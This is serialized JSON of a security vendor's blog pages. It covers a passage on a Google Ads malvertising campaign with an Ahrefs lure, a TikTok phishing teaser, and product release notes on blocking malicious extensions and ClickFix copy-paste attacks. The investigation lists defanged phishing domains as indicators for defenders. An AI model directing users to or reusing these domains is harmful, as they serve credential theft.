",{"data":90218,"content":90219,"nodeType":882},{"uri":5307},[90220],{"data":90221,"marks":90222,"value":90224,"nodeType":865},{},[90223],{"type":997},"TradingView",{"data":90226,"marks":90227,"value":2186,"nodeType":865},{},[],{"data":90229,"content":90231,"nodeType":882},{"uri":90230},"https://pushsecurity.com/blog/phishing-with-active-directory-federation-services/",[90232],{"data":90233,"marks":90234,"value":90236,"nodeType":865},{},[90235],{"type":997},"Microsoft Office 365",{"data":90238,"marks":90239,"value":3892,"nodeType":865},{},[],{"data":90241,"content":90243,"nodeType":882},{"uri":90242},"https://pushsecurity.com/blog/investigating-a-recent-malvertising-campaign-targeting-onfido-customers/",[90244],{"data":90245,"marks":90246,"value":90248,"nodeType":865},{},[90247],{"type":997},"Onfido",{"data":90250,"marks":90251,"value":90252,"nodeType":865},{},[],", to name a few. ",{"data":90254,"content":90255,"nodeType":866},{},[90256],{"data":90257,"marks":90258,"value":90259,"nodeType":865},{},[],"There’s a tendency to see malvertising as a more random attack, but Google Ads can be tuned to searches coming from specific geographic locations, tailored to specific email domain matches, or specific device types (e.g. desktop, mobile, etc.). If you know where your target organization is located, you can tailor the ad to that location. Even more precise ad targeting can be achieved on social media platforms. ",{"data":90261,"content":90262,"nodeType":866},{},[90263],{"data":90264,"marks":90265,"value":90266,"nodeType":865},{},[],"Because these attacks completely circumvent the traditional phishing detection surface (email) and often happen entirely over the internet (meaning no endpoint security controls can come into play) the only way to reliably detect and stop these attacks is to intercept them where they happen — in the user’s web browser. ",{"data":90268,"content":90269,"nodeType":953},{},[],{"data":90271,"content":90272,"nodeType":963},{},[90273],{"data":90274,"marks":90275,"value":70978,"nodeType":865},{},[90276],{"type":961},{"data":90278,"content":90279,"nodeType":866},{},[90280],{"data":90281,"marks":90282,"value":90283,"nodeType":865},{},[],"Regardless of the delivery channel, all roads lead to a web page accessed in the victim’s browser, where Push is waiting to detect and block the attack. Even if the page has never been previously flagged as suspicious or malicious, Push analyses the page in real time and blocks it — protecting against the latest zero-day threats.  ",{"data":90285,"content":90286,"nodeType":866},{},[90287],{"data":90288,"marks":90289,"value":90290,"nodeType":865},{},[],"By seeing what your users see, and getting an unfiltered, real-time view of the page as it loads, Push is able to pinpoint malicious content, code, and behaviors and shut the attack down before it happens. Whether it's entering credentials onto a phishing page, approving a malicious OAuth grant, installing a risky browser extension, or insecurely accessing an app with a weak password and no MFA, Push detects the action and shuts it down.",{"data":90292,"content":90293,"nodeType":866},{},[90294],{"data":90295,"marks":90296,"value":90297,"nodeType":865},{},[],"Push blocks browser-based attacks like AiTM phishing, credential stuffing, malicious browser extensions, malicious OAuth grants, ClickFix, and session hijacking. You don’t need to wait until it all goes wrong either — you can use Push to proactively find and fix vulnerabilities across the apps that your employees use, like ghost logins, SSO coverage gaps, MFA gaps, vulnerable passwords, and more to harden your identity attack surface.",{"data":90299,"content":90300,"nodeType":866},{},[90301,90304,90311,90314,90321],{"data":90302,"marks":90303,"value":32401,"nodeType":865},{},[],{"data":90305,"content":90306,"nodeType":882},{"uri":22700},[90307],{"data":90308,"marks":90309,"value":22706,"nodeType":865},{},[90310],{"type":997},{"data":90312,"marks":90313,"value":71034,"nodeType":865},{},[],{"data":90315,"content":90316,"nodeType":882},{"uri":1728},[90317],{"data":90318,"marks":90319,"value":22730,"nodeType":865},{},[90320],{"type":997},{"data":90322,"marks":90323,"value":1048,"nodeType":865},{},[],{"data":90325,"content":90326,"nodeType":953},{},[],{"data":90328,"content":90329,"nodeType":963},{},[90330],{"data":90331,"marks":90332,"value":22744,"nodeType":865},{},[90333],{"type":961},{"data":90335,"content":90336,"nodeType":866},{},[90337,90340,90347],{"data":90338,"marks":90339,"value":25047,"nodeType":865},{},[],{"data":90341,"content":90342,"nodeType":882},{"uri":13757},[90343],{"data":90344,"marks":90345,"value":13762,"nodeType":865},{},[90346],{"type":997},{"data":90348,"marks":90349,"value":70887,"nodeType":865},{},[],{"data":90351,"content":90352,"nodeType":866},{},[90353],{"data":90354,"marks":90355,"value":90356,"nodeType":865},{},[],"That said, the domains observed in this chain were:",{"data":90358,"content":90359,"nodeType":1049},{},[90360,90370,90380,90390],{"data":90361,"content":90362,"nodeType":1003},{},[90363],{"data":90364,"content":90365,"nodeType":866},{},[90366],{"data":90367,"marks":90368,"value":90369,"nodeType":865},{},[],"comandd-ok[.]com",{"data":90371,"content":90372,"nodeType":1003},{},[90373],{"data":90374,"content":90375,"nodeType":866},{},[90376],{"data":90377,"marks":90378,"value":90379,"nodeType":865},{},[],"ahrefs-ac.squarespace[.]com",{"data":90381,"content":90382,"nodeType":1003},{},[90383],{"data":90384,"content":90385,"nodeType":866},{},[90386],{"data":90387,"marks":90388,"value":90389,"nodeType":865},{},[],"ahrefs-seo-app.squarespace[.]com",{"data":90391,"content":90392,"nodeType":1003},{},[90393],{"data":90394,"content":90395,"nodeType":866},{},[90396],{"data":90397,"marks":90398,"value":90399,"nodeType":865},{},[],"slgn-ahrefs-app-com.squarespace[.]com",{"data":90401,"content":90402,"nodeType":866},{},[90403],{"data":90404,"marks":90405,"value":90406,"nodeType":865},{},[],"[Update 24th February] We also observed the following new domains:",{"data":90408,"content":90409,"nodeType":1049},{},[90410,90420,90430,90440],{"data":90411,"content":90412,"nodeType":1003},{},[90413],{"data":90414,"content":90415,"nodeType":866},{},[90416],{"data":90417,"marks":90418,"value":90419,"nodeType":865},{},[],"www-ahrefs-seo-ads[.]surge.sh",{"data":90421,"content":90422,"nodeType":1003},{},[90423],{"data":90424,"content":90425,"nodeType":866},{},[90426],{"data":90427,"marks":90428,"value":90429,"nodeType":865},{},[],"web-semrush-seo-wold[.]surge[.]sh",{"data":90431,"content":90432,"nodeType":1003},{},[90433],{"data":90434,"content":90435,"nodeType":866},{},[90436],{"data":90437,"marks":90438,"value":90439,"nodeType":865},{},[],"contabelforeehc[.]com",{"data":90441,"content":90442,"nodeType":1003},{},[90443],{"data":90444,"content":90445,"nodeType":866},{},[90446],{"data":90447,"marks":90448,"value":90449,"nodeType":865},{},[],"contabelfore[.]com",{"data":90451,"content":90452,"nodeType":866},{},[90453],{"data":90454,"marks":90455,"value":90456,"nodeType":865},{},[],"In addition, the following domains were previously associated with the attacks we detected in December:",{"data":90458,"content":90459,"nodeType":1049},{},[90460,90470,90480,90490,90500,90510,90520],{"data":90461,"content":90462,"nodeType":1003},{},[90463],{"data":90464,"content":90465,"nodeType":866},{},[90466],{"data":90467,"marks":90468,"value":90469,"nodeType":865},{},[],"ads-adsword1.odoo[.]com",{"data":90471,"content":90472,"nodeType":1003},{},[90473],{"data":90474,"content":90475,"nodeType":866},{},[90476],{"data":90477,"marks":90478,"value":90479,"nodeType":865},{},[],"sing-operador2[.]click/accounts/v3/login",{"data":90481,"content":90482,"nodeType":1003},{},[90483],{"data":90484,"content":90485,"nodeType":866},{},[90486],{"data":90487,"marks":90488,"value":90489,"nodeType":865},{},[],"adsgooglie.odoo[.]com/",{"data":90491,"content":90492,"nodeType":1003},{},[90493],{"data":90494,"content":90495,"nodeType":866},{},[90496],{"data":90497,"marks":90498,"value":90499,"nodeType":865},{},[],"word4only[.]online/",{"data":90501,"content":90502,"nodeType":1003},{},[90503],{"data":90504,"content":90505,"nodeType":866},{},[90506],{"data":90507,"marks":90508,"value":90509,"nodeType":865},{},[],"adsloginacess.kartra[.]com/page/oeN7",{"data":90511,"content":90512,"nodeType":1003},{},[90513],{"data":90514,"content":90515,"nodeType":866},{},[90516],{"data":90517,"marks":90518,"value":90519,"nodeType":865},{},[],"ads-o.odoo[.]com",{"data":90521,"content":90522,"nodeType":1003},{},[90523],{"data":90524,"content":90525,"nodeType":866},{},[90526],{"data":90527,"marks":90528,"value":90529,"nodeType":865},{},[],"operador8-ads[.]lat/accounts/v3/login/",{"data":90531,"content":90532,"nodeType":866},{},[90533],{"data":90534,"marks":90535,"value":13704,"nodeType":865},{},[90536],{"type":961},"New samples linked to a Push-tracked malvertising campaign detected, targeting Google accounts via an Ahrefs lure. ","2026-01-12T00:00:00.000Z",{"items":90540},[90541,90543],{"sys":90542,"name":342},{"id":8410},{"sys":90544,"name":11426},{"id":11425},{"items":90546},[90547],{"fullName":11430,"firstName":11431,"jobTitle":11432,"profilePicture":90548},{"url":11434},"tiktok-phishing","blog/tiktok-phishing",{"json":90552},{"data":90553,"content":90554,"nodeType":1739},{},[90555],{"data":90556,"content":90557,"nodeType":866},{},[90558],{"data":90559,"marks":90560,"value":90561,"nodeType":865},{},[],"We’ve identified a new wave of AITM phishing pages designed to hijack TikTok accounts. This seems like a weird target at first glance, but TikTok accounts are ripe for abuse in malvertising scams. ","Investigating a new wave of AITM phishing pages designed to hijack TikTok accounts.",{"id":90564,"publishedAt":90565},"1iOnp8gcu1tEUvkqOZsdFd","2026-08-12T11:53:03.984Z",{"items":90567},[90568,90570],{"sys":90569,"name":11426},{"id":11425},{"sys":90571,"name":342},{"id":8410},{"items":90573},[90574,90576,90578,90580,90582,90584,90586,90588,90590,90592,90594,90596,90598],{"sys":90575,"name":279,"slug":280,"tier":31},{"id":276},{"sys":90577,"name":519,"slug":520,"tier":31},{"id":516},{"sys":90579,"name":342,"slug":343,"tier":31},{"id":339},{"sys":90581,"name":642,"slug":643,"tier":31},{"id":639},{"sys":90583,"name":261,"slug":262,"tier":45},{"id":258},{"sys":90585,"name":571,"slug":572,"tier":45},{"id":568},{"sys":90587,"name":440,"slug":441,"tier":45},{"id":437},{"sys":90589,"name":607,"slug":608,"tier":45},{"id":604},{"sys":90591,"name":324,"slug":325,"tier":45},{"id":321},{"sys":90593,"name":422,"slug":423,"tier":45},{"id":419},{"sys":90595,"name":431,"slug":432,"tier":45},{"id":428},{"sys":90597,"name":315,"slug":316,"tier":45},{"id":312},{"sys":90599,"name":475,"slug":476,"tier":45},{"id":472},"2QzODApgAyCDdKXUqZsIixHK-lMHFS0k-JD0u04_nQ4",{"id":90602,"title":90603,"authorsCollection":90604,"content":90612,"extension":228,"faqItemsCollection":91153,"faqTitle":59,"featured":6,"hashTags":59,"meta":91155,"metaTitle":91156,"ogImage":59,"postType":91157,"publishedDate":91158,"relatedBlogPostsCollection":91159,"slug":91879,"stem":91880,"subtitle":59,"summary":91881,"synopsis":91892,"sys":91893,"tagsCollection":91896,"topicsCollection":91900,"__hash__":91910},"blog/blog/product-release-march-2026.json","Product release: March 2026",{"items":90605},[90606],{"fullName":90607,"firstName":90608,"jobTitle":90609,"socialLinks":59,"profilePicture":90610},"Andy Waugh","Andy","VP Product",{"url":90611},"https://images.ctfassets.net/y1cdw1ablpvd/3Rf76rJn6S9inMb4dUnAIJ/0a787f8141d05b95300e2fe77c4493fa/DSC_6868.jpg",{"json":90613,"links":91107},{"data":90614,"content":90615,"nodeType":1739},{},[90616,90623,90686,90693,90700,90716,90732,90738,90755,90761,90776,90783,90789,90806,90812,90833,90866,90883,90889,90896,90911,90917,90935,90941,90948,90971,90996,91014,91021,91028,91101],{"data":90617,"content":90618,"nodeType":963},{},[90619],{"data":90620,"marks":90621,"value":90622,"nodeType":865},{},[],"What's new this month:",{"data":90624,"content":90625,"nodeType":1049},{},[90626,90636,90646,90656,90666,90676],{"data":90627,"content":90628,"nodeType":1003},{},[90629],{"data":90630,"content":90631,"nodeType":866},{},[90632],{"data":90633,"marks":90634,"value":90635,"nodeType":865},{},[],"Detect malicious browser extensions",{"data":90637,"content":90638,"nodeType":1003},{},[90639],{"data":90640,"content":90641,"nodeType":866},{},[90642],{"data":90643,"marks":90644,"value":90645,"nodeType":865},{},[],"Create a blocklist or allowlist for browser extensions",{"data":90647,"content":90648,"nodeType":1003},{},[90649],{"data":90650,"content":90651,"nodeType":866},{},[90652],{"data":90653,"marks":90654,"value":90655,"nodeType":865},{},[],"Block ClickFix-style attacks and collect payloads for investigation",{"data":90657,"content":90658,"nodeType":1003},{},[90659],{"data":90660,"content":90661,"nodeType":866},{},[90662],{"data":90663,"marks":90664,"value":90665,"nodeType":865},{},[],"Custom branding for employee-facing banners and block pages",{"data":90667,"content":90668,"nodeType":1003},{},[90669],{"data":90670,"content":90671,"nodeType":866},{},[90672],{"data":90673,"marks":90674,"value":90675,"nodeType":865},{},[],"Collect additional metadata to support threat detection",{"data":90677,"content":90678,"nodeType":1003},{},[90679],{"data":90680,"content":90681,"nodeType":866},{},[90682],{"data":90683,"marks":90684,"value":90685,"nodeType":865},{},[],"And a few other things … ",{"data":90687,"content":90688,"nodeType":963},{},[90689],{"data":90690,"marks":90691,"value":90692,"nodeType":865},{},[],"Detect malicious extensions",{"data":90694,"content":90695,"nodeType":866},{},[90696],{"data":90697,"marks":90698,"value":90699,"nodeType":865},{},[],"Push can now detect and block malicious browser extensions found in your environment. ",{"data":90701,"content":90702,"nodeType":866},{},[90703,90707,90712],{"data":90704,"marks":90705,"value":90706,"nodeType":865},{},[],"Push maintains a global list of malicious extensions based on our own threat research and publicly available threat intelligence. When an extension in your environment matches a malicious extension ID, Push will raise a detection on the ",{"data":90708,"marks":90709,"value":90711,"nodeType":865},{},[90710],{"type":961},"Detections",{"data":90713,"marks":90714,"value":90715,"nodeType":865},{},[]," page of the Push admin console. You can also configure the control to warn or block users automatically.",{"data":90717,"content":90718,"nodeType":866},{},[90719,90723,90728],{"data":90720,"marks":90721,"value":90722,"nodeType":865},{},[],"To enable malicious extension detection, go to the ",{"data":90724,"marks":90725,"value":90727,"nodeType":865},{},[90726],{"type":961},"Controls",{"data":90729,"marks":90730,"value":90731,"nodeType":865},{},[]," page in the Push admin console. ",{"data":90733,"content":90737,"nodeType":925},{"target":90734},{"sys":90735},{"id":90736,"type":922,"linkType":923},"1QV5UQ04MYLpWY7jTocvO4",[],{"data":90739,"content":90740,"nodeType":866},{},[90741,90744,90752],{"data":90742,"marks":90743,"value":21,"nodeType":865},{},[],{"data":90745,"content":90748,"nodeType":15311},{"target":90746},{"sys":90747},{"id":79814,"type":922,"linkType":923},[90749],{"data":90750,"marks":90751,"value":16192,"nodeType":865},{},[],{"data":90753,"marks":90754,"value":21,"nodeType":865},{},[],{"data":90756,"content":90757,"nodeType":963},{},[90758],{"data":90759,"marks":90760,"value":90645,"nodeType":865},{},[],{"data":90762,"content":90763,"nodeType":866},{},[90764,90768,90772],{"data":90765,"marks":90766,"value":90767,"nodeType":865},{},[],"You can also block unwanted extensions or allowlist only the extensions you want in your environment, using Push’s ",{"data":90769,"marks":90770,"value":80236,"nodeType":865},{},[90771],{"type":961},{"data":90773,"marks":90774,"value":90775,"nodeType":865},{},[]," control.",{"data":90777,"content":90778,"nodeType":866},{},[90779],{"data":90780,"marks":90781,"value":90782,"nodeType":865},{},[],"End-users will see a block page if they attempt to enable a blocked extension or install one via the Chrome or Microsoft extension stores.",{"data":90784,"content":90788,"nodeType":925},{"target":90785},{"sys":90786},{"id":90787,"type":922,"linkType":923},"3OCdGfsyNTLXQx77dwzY9L",[],{"data":90790,"content":90791,"nodeType":866},{},[90792,90795,90803],{"data":90793,"marks":90794,"value":21,"nodeType":865},{},[],{"data":90796,"content":90799,"nodeType":15311},{"target":90797},{"sys":90798},{"id":80107,"type":922,"linkType":923},[90800],{"data":90801,"marks":90802,"value":16192,"nodeType":865},{},[],{"data":90804,"marks":90805,"value":21,"nodeType":865},{},[],{"data":90807,"content":90808,"nodeType":963},{},[90809],{"data":90810,"marks":90811,"value":90655,"nodeType":865},{},[],{"data":90813,"content":90814,"nodeType":866},{},[90815,90819,90829],{"data":90816,"marks":90817,"value":90818,"nodeType":865},{},[],"You can now block ClickFix-style malicious copy and paste attacks using Push. These are one of the ",{"data":90820,"content":90824,"nodeType":15311},{"target":90821},{"sys":90822},{"id":90823,"type":922,"linkType":923},"1u8RJxC00HbBhCBVxcDnkK",[90825],{"data":90826,"marks":90827,"value":90828,"nodeType":865},{},[],"fastest-growing",{"data":90830,"marks":90831,"value":90832,"nodeType":865},{},[]," browser-based attacks. You can also choose to collect the payload for your security team to investigate.",{"data":90834,"content":90835,"nodeType":866},{},[90836,90840,90845,90849,90854,90857,90862],{"data":90837,"marks":90838,"value":90839,"nodeType":865},{},[],"From the Push admin console, go to ",{"data":90841,"marks":90842,"value":90844,"nodeType":865},{},[90843],{"type":961},"Controls > Malicious copy and paste detection",{"data":90846,"marks":90847,"value":90848,"nodeType":865},{},[],". Then create a configuration rule to select the ",{"data":90850,"marks":90851,"value":90853,"nodeType":865},{},[90852],{"type":961},"Mode",{"data":90855,"marks":90856,"value":8756,"nodeType":865},{},[],{"data":90858,"marks":90859,"value":90861,"nodeType":865},{},[90860],{"type":961},"Scope",{"data":90863,"marks":90864,"value":90865,"nodeType":865},{},[],". If you’ve enabled payload collection, Push will collect the malicious payload and include it in the detection event.",{"data":90867,"content":90868,"nodeType":866},{},[90869,90872,90880],{"data":90870,"marks":90871,"value":21,"nodeType":865},{},[],{"data":90873,"content":90876,"nodeType":15311},{"target":90874},{"sys":90875},{"id":79835,"type":922,"linkType":923},[90877],{"data":90878,"marks":90879,"value":16192,"nodeType":865},{},[],{"data":90881,"marks":90882,"value":21,"nodeType":865},{},[],{"data":90884,"content":90885,"nodeType":963},{},[90886],{"data":90887,"marks":90888,"value":90665,"nodeType":865},{},[],{"data":90890,"content":90891,"nodeType":866},{},[90892],{"data":90893,"marks":90894,"value":90895,"nodeType":865},{},[],"Customize the look and feel of employee-facing banners and warn or block pages by adding your company logo, accent color, and choice of light or dark mode themes. ",{"data":90897,"content":90898,"nodeType":866},{},[90899,90903,90908],{"data":90900,"marks":90901,"value":90902,"nodeType":865},{},[],"To add your brand elements, go to ",{"data":90904,"marks":90905,"value":90907,"nodeType":865},{},[90906],{"type":961},"Settings > Branding",{"data":90909,"marks":90910,"value":1048,"nodeType":865},{},[],{"data":90912,"content":90916,"nodeType":925},{"target":90913},{"sys":90914},{"id":90915,"type":922,"linkType":923},"3Jawd7IBSA3GF2XBHARsn",[],{"data":90918,"content":90919,"nodeType":866},{},[90920,90923,90932],{"data":90921,"marks":90922,"value":21,"nodeType":865},{},[],{"data":90924,"content":90928,"nodeType":15311},{"target":90925},{"sys":90926},{"id":90927,"type":922,"linkType":923},"4i1KWgBfYqtFYlUFRYiGdW",[90929],{"data":90930,"marks":90931,"value":16192,"nodeType":865},{},[],{"data":90933,"marks":90934,"value":21,"nodeType":865},{},[],{"data":90936,"content":90937,"nodeType":963},{},[90938],{"data":90939,"marks":90940,"value":90675,"nodeType":865},{},[],{"data":90942,"content":90943,"nodeType":866},{},[90944],{"data":90945,"marks":90946,"value":90947,"nodeType":865},{},[],"The Push browser extension can now collect additional metadata and store it locally for up to 30 days, powering more diverse and precise detections, including for emerging threats. ",{"data":90949,"content":90950,"nodeType":866},{},[90951,90955,90959,90963,90967],{"data":90952,"marks":90953,"value":90954,"nodeType":865},{},[],"Detections informed by this metadata will be raised on the ",{"data":90956,"marks":90957,"value":90711,"nodeType":865},{},[90958],{"type":961},{"data":90960,"marks":90961,"value":90962,"nodeType":865},{},[]," page. Note that these detections do not block end-user activity and are ",{"data":90964,"marks":90965,"value":80322,"nodeType":865},{},[90966],{"type":961},{"data":90968,"marks":90969,"value":90970,"nodeType":865},{},[]," mode only.",{"data":90972,"content":90973,"nodeType":866},{},[90974,90978,90983,90987,90992],{"data":90975,"marks":90976,"value":90977,"nodeType":865},{},[],"We recommend you enable ",{"data":90979,"marks":90980,"value":90982,"nodeType":865},{},[90981],{"type":961},"Browser event storage",{"data":90984,"marks":90985,"value":90986,"nodeType":865},{},[]," to take advantage of this capability. Go to ",{"data":90988,"marks":90989,"value":90991,"nodeType":865},{},[90990],{"type":961},"Settings > Telemetry > Browser event storage",{"data":90993,"marks":90994,"value":90995,"nodeType":865},{},[]," in the admin console.",{"data":90997,"content":90998,"nodeType":866},{},[90999,91002,91011],{"data":91000,"marks":91001,"value":21,"nodeType":865},{},[],{"data":91003,"content":91007,"nodeType":15311},{"target":91004},{"sys":91005},{"id":91006,"type":922,"linkType":923},"1x69JxXcDWEDIzYXUM8nGb",[91008],{"data":91009,"marks":91010,"value":16192,"nodeType":865},{},[],{"data":91012,"marks":91013,"value":21,"nodeType":865},{},[],{"data":91015,"content":91016,"nodeType":963},{},[91017],{"data":91018,"marks":91019,"value":91020,"nodeType":865},{},[],"And a few other things ...",{"data":91022,"content":91023,"nodeType":866},{},[91024],{"data":91025,"marks":91026,"value":91027,"nodeType":865},{},[],"Other new features or improvements to the platform include:",{"data":91029,"content":91030,"nodeType":1049},{},[91031,91051,91061,91081],{"data":91032,"content":91033,"nodeType":1003},{},[91034],{"data":91035,"content":91036,"nodeType":866},{},[91037,91041,91048],{"data":91038,"marks":91039,"value":91040,"nodeType":865},{},[],"You can now configure the frequency with which app banners will be displayed: either per-tab or per-browser. ",{"data":91042,"content":91044,"nodeType":882},{"uri":91043},"/help/10125#frequency",[91045],{"data":91046,"marks":91047,"value":16192,"nodeType":865},{},[],{"data":91049,"marks":91050,"value":21,"nodeType":865},{},[],{"data":91052,"content":91053,"nodeType":1003},{},[91054],{"data":91055,"content":91056,"nodeType":866},{},[91057],{"data":91058,"marks":91059,"value":91060,"nodeType":865},{},[],"You can now define an Owner role as part of Push’s RBAC options. Only Owners can edit roles, delete your team (e.g. tenant), change default SAML roles, or update your team name.",{"data":91062,"content":91063,"nodeType":1003},{},[91064],{"data":91065,"content":91066,"nodeType":866},{},[91067,91071,91078],{"data":91068,"marks":91069,"value":91070,"nodeType":865},{},[],"Webhook events now include detection details, for greater context. ",{"data":91072,"content":91074,"nodeType":882},{"uri":91073},"https://pushsecurity.com/help/audience/engineering/webhooks-v1/detections",[91075],{"data":91076,"marks":91077,"value":16192,"nodeType":865},{},[],{"data":91079,"marks":91080,"value":21,"nodeType":865},{},[],{"data":91082,"content":91083,"nodeType":1003},{},[91084],{"data":91085,"content":91086,"nodeType":866},{},[91087,91091,91098],{"data":91088,"marks":91089,"value":91090,"nodeType":865},{},[],"Push now uses static IP addresses to emit webhook events. These IP addresses are in the same range we previously used, but if you wish to update your network filtering to these new, narrower IP addresses, you can. ",{"data":91092,"content":91094,"nodeType":882},{"uri":91093},"https://pushsecurity.com/help/audience/engineering/webhooks-v1/section/ip-addresses",[91095],{"data":91096,"marks":91097,"value":16192,"nodeType":865},{},[],{"data":91099,"marks":91100,"value":21,"nodeType":865},{},[],{"data":91102,"content":91103,"nodeType":866},{},[91104],{"data":91105,"marks":91106,"value":21,"nodeType":865},{},[],{"entries":91108},{"inline":91109,"hyperlink":91110,"block":91131},[],[91111,91113,91115,91119,91121,91126],{"sys":91112,"__typename":81775,"title":81786,"slug":81787,"articleId":81788},{"id":79814},{"sys":91114,"__typename":81775,"title":81816,"slug":81817,"articleId":81818},{"id":80107},{"sys":91116,"__typename":1788,"title":91117,"slug":91118},{"id":90823},"Introducing malicious copy and paste detection","introducing-malicious-copy-paste-detection",{"sys":91120,"__typename":81775,"title":81791,"slug":81792,"articleId":81793},{"id":79835},{"sys":91122,"__typename":81775,"title":91123,"slug":91124,"articleId":91125},{"id":90927},"How do I add custom branding to Push banners and block pages?","how-do-i-add-custom-branding-to-push-banners-and-block-pages",10147,{"sys":91127,"__typename":81775,"title":91128,"slug":91129,"articleId":91130},{"id":91006},"How do I configure browser event storage?","how-do-i-configure-browser-event-storage",10146,[91132,91138,91145],{"sys":91133,"__typename":1747,"title":91134,"caption":59,"layoutMode":59,"file":91135},{"id":90736},"Malicious extension detection - Controls page - for release notes",{"url":91136,"width":91137,"height":70197},"https://images.ctfassets.net/y1cdw1ablpvd/2OhoXumfBK0saT2oLeCPrI/95950149e4c7f11c53948ba0cf0b09b5/malicious_ext_det_controls_pg.png",1337,{"sys":91139,"__typename":1747,"title":91140,"caption":59,"layoutMode":59,"file":91141},{"id":90787},"Browser extension block screen - KB 10138",{"url":91142,"width":91143,"height":91144},"https://images.ctfassets.net/y1cdw1ablpvd/3i6Sj2jgOimCqGtpKy1B7p/3cc3e6b1e9f0b7c61565f3b3f7974844/extension_block_branded_20260420.png",2670,1626,{"sys":91146,"__typename":1747,"title":91147,"caption":91148,"layoutMode":59,"file":91149},{"id":90915},"Branded banner example - dark style - KB 10147","Example of a dark style mid-screen banner",{"url":91150,"width":91151,"height":91152},"https://images.ctfassets.net/y1cdw1ablpvd/F8v8jKH2SXlMeHbG83Nvh/2b7c51c8bbb2ad74947f4a2bcee3048b/midscreen_dark_banner.png",2944,562,{"items":91154},[],{},"Push Security new product features for March 2026","release-notes","2026-03-10T00:00:00.000Z",{"items":91160},[91161],{"__typename":1788,"sys":91162,"content":91164,"title":91865,"synopsis":91866,"hashTags":59,"publishedDate":91867,"slug":91868,"tagsCollection":91869,"authorsCollection":91875},{"id":91163},"3ygDMHnTN58Lyb3W3k969w",{"json":91165},{"data":91166,"content":91167,"nodeType":1739},{},[91168,91174,91246,91252,91259,91284,91308,91341,91347,91364,91370,91377,91384,91416,91422,91439,91445,91461,91468,91491,91498,91505,91528,91544,91550,91556,91563,91579,91586,91639,91646,91652,91670,91676,91691,91698,91721,91743,91749,91755,91859],{"data":91169,"content":91170,"nodeType":963},{},[91171],{"data":91172,"marks":91173,"value":90622,"nodeType":865},{},[],{"data":91175,"content":91176,"nodeType":1049},{},[91177,91187,91197,91207,91217,91227,91237],{"data":91178,"content":91179,"nodeType":1003},{},[91180],{"data":91181,"content":91182,"nodeType":866},{},[91183],{"data":91184,"marks":91185,"value":91186,"nodeType":865},{},[],"Get visibility for all installed browser extensions in your environment",{"data":91188,"content":91189,"nodeType":1003},{},[91190],{"data":91191,"content":91192,"nodeType":866},{},[91193],{"data":91194,"marks":91195,"value":91196,"nodeType":865},{},[],"New detection for ClickFix-style malicious copy-paste attacks",{"data":91198,"content":91199,"nodeType":1003},{},[91200],{"data":91201,"content":91202,"nodeType":866},{},[91203],{"data":91204,"marks":91205,"value":91206,"nodeType":865},{},[],"New Labs feature: Experimental detections",{"data":91208,"content":91209,"nodeType":1003},{},[91210],{"data":91211,"content":91212,"nodeType":866},{},[91213],{"data":91214,"marks":91215,"value":91216,"nodeType":865},{},[],"RBAC for the Push admin console",{"data":91218,"content":91219,"nodeType":1003},{},[91220],{"data":91221,"content":91222,"nodeType":866},{},[91223],{"data":91224,"marks":91225,"value":91226,"nodeType":865},{},[],"URLscan.io and domain registration enrichment for detections",{"data":91228,"content":91229,"nodeType":1003},{},[91230],{"data":91231,"content":91232,"nodeType":866},{},[91233],{"data":91234,"marks":91235,"value":91236,"nodeType":865},{},[],"Filter events by entities",{"data":91238,"content":91239,"nodeType":1003},{},[91240],{"data":91241,"content":91242,"nodeType":866},{},[91243],{"data":91244,"marks":91245,"value":90685,"nodeType":865},{},[],{"data":91247,"content":91248,"nodeType":963},{},[91249],{"data":91250,"marks":91251,"value":91186,"nodeType":865},{},[],{"data":91253,"content":91254,"nodeType":866},{},[91255],{"data":91256,"marks":91257,"value":91258,"nodeType":865},{},[],"You can now use Push to see other browser extensions installed on your employees’ browsers.",{"data":91260,"content":91261,"nodeType":866},{},[91262,91266,91271,91275,91280],{"data":91263,"marks":91264,"value":91265,"nodeType":865},{},[],"You can enable this feature by going to ",{"data":91267,"marks":91268,"value":91270,"nodeType":865},{},[91269],{"type":961},"Settings > Organization",{"data":91272,"marks":91273,"value":91274,"nodeType":865},{},[]," in the Push admin console and toggling on ",{"data":91276,"marks":91277,"value":91279,"nodeType":865},{},[91278],{"type":961},"Browser extension visibility",{"data":91281,"marks":91282,"value":91283,"nodeType":865},{},[],". There is no end-user impact when you enable this feature.",{"data":91285,"content":91286,"nodeType":866},{},[91287,91291,91295,91299,91304],{"data":91288,"marks":91289,"value":91290,"nodeType":865},{},[],"You’ll see browser extension data populate a new ",{"data":91292,"marks":91293,"value":288,"nodeType":865},{},[91294],{"type":961},{"data":91296,"marks":91297,"value":91298,"nodeType":865},{},[]," page in the admin console under ",{"data":91300,"marks":91301,"value":91303,"nodeType":865},{},[91302],{"type":961},"Investigate",{"data":91305,"marks":91306,"value":91307,"nodeType":865},{},[],". With this information, you can see:",{"data":91309,"content":91310,"nodeType":1049},{},[91311,91321,91331],{"data":91312,"content":91313,"nodeType":1003},{},[91314],{"data":91315,"content":91316,"nodeType":866},{},[91317],{"data":91318,"marks":91319,"value":91320,"nodeType":865},{},[],"Which extensions have been installed for each employee and browser.",{"data":91322,"content":91323,"nodeType":1003},{},[91324],{"data":91325,"content":91326,"nodeType":866},{},[91327],{"data":91328,"marks":91329,"value":91330,"nodeType":865},{},[],"How they were installed (e.g. by policy, manually, or sideloaded).",{"data":91332,"content":91333,"nodeType":1003},{},[91334],{"data":91335,"content":91336,"nodeType":866},{},[91337],{"data":91338,"marks":91339,"value":91340,"nodeType":865},{},[],"Which permissions they have.",{"data":91342,"content":91346,"nodeType":925},{"target":91343},{"sys":91344},{"id":91345,"type":922,"linkType":923},"5J5jdmwugy7yU8GGwxe7iH",[],{"data":91348,"content":91349,"nodeType":866},{},[91350,91353,91361],{"data":91351,"marks":91352,"value":21,"nodeType":865},{},[],{"data":91354,"content":91357,"nodeType":15311},{"target":91355},{"sys":91356},{"id":80107,"type":922,"linkType":923},[91358],{"data":91359,"marks":91360,"value":16192,"nodeType":865},{},[],{"data":91362,"marks":91363,"value":21,"nodeType":865},{},[],{"data":91365,"content":91366,"nodeType":963},{},[91367],{"data":91368,"marks":91369,"value":91196,"nodeType":865},{},[],{"data":91371,"content":91372,"nodeType":866},{},[91373],{"data":91374,"marks":91375,"value":91376,"nodeType":865},{},[],"Push can now detect malicious copy and paste attacks like ClickFix, FileFix, and other fake CAPTCHA-style techniques.",{"data":91378,"content":91379,"nodeType":866},{},[91380],{"data":91381,"marks":91382,"value":91383,"nodeType":865},{},[],"These techniques have become one of the most prevalent attack types this year, and rely on deceiving users into manually or automatically copying malicious code and running it 